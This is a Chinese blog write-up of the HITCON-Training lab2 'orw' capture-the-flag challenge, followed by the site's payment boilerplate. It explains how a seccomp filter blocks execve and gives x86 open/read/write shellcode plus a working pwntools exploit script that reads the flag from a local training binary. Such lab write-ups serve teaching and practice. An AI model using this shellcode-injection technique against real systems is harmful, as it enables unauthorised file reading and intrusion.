HITCON-Training-master lab2 wp

查看了下防护机制


发现开启了Canary,但是没关系,它没开启堆栈不可执行,说明 这是一道shell code题

简单跑了一下程序,发现输出了一句话:give me you shellcode

ida反编译查看了下代码


代码逻辑也很简单,你输入一段shellcode,然后去执行它

我随便去网上找了一段shellcode,输入后发现不行,说明它不是单纯的让我们输入shellcode

查看了一下orw_seccomp()函数


发现它里面调用了 prctl()函数,查了一番这个函数是做什么用的

prctl()是用来控制进程的系统调用

在这里它限制了进程使用某些系统调用 ,所以我们不可以通过execve的shellcode来获取flag,

这里我们通过 open(),read(),write()三个函数的系统调用来获取flag

这 三个函数要调用的参数可以在http://syscalls.kernelgrok.com/上查到

open() :eax->0x5 (系统调用号);ebx->(file_name_string);ecx->(flags 访问权限) ;edx->(mode如果创建新文件,则包含表示UNIX权限的整数值)

read(3,file,0x30): eax->0x3;ebx->(fd 文件句柄 0x3) ;ecx->(files_name_string);edx->(count 读取长度)

write(1,file,0x30):eax->0x4;ebx->(fd 文件句柄  0x1) ;ecx->(files_name_string);edx->(count 输出长度)

汇编代码:(intel风格)

xor ecx,ecx
mov  eax,0x5
push ecx
push 0x67616c66 (flag的十六进制形式,因为是小段显示所以要倒过来)
mov ebx,esp
xor edx,edx
int 0x80

mov eax,0x3
mov ecx,ebx
mov ebx,0x3
mov dl,0x30
int 0x80

mov eax,0x4
mov bl,0x1
int 0x80

exp:

#!/usr/bin/env python
# -*-: coding: UTF-8 -*-
from pwn import*
p = process('./orw.bin')
shellcode = '''
xor ecx,ecx
mov eax,0x5
push ecx
push 0x67616c66
mov ebx,esp
xor edx,edx
int 0x80

mov eax,0x3
mov ecx,ebx
mov ebx,0x3
mov dl,0x30
int 0x80

mov eax,0x4
mov bl,0x1
int 0x80
'''
payload = asm(shellcode)
p.recvuntil(":")
p.send(payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值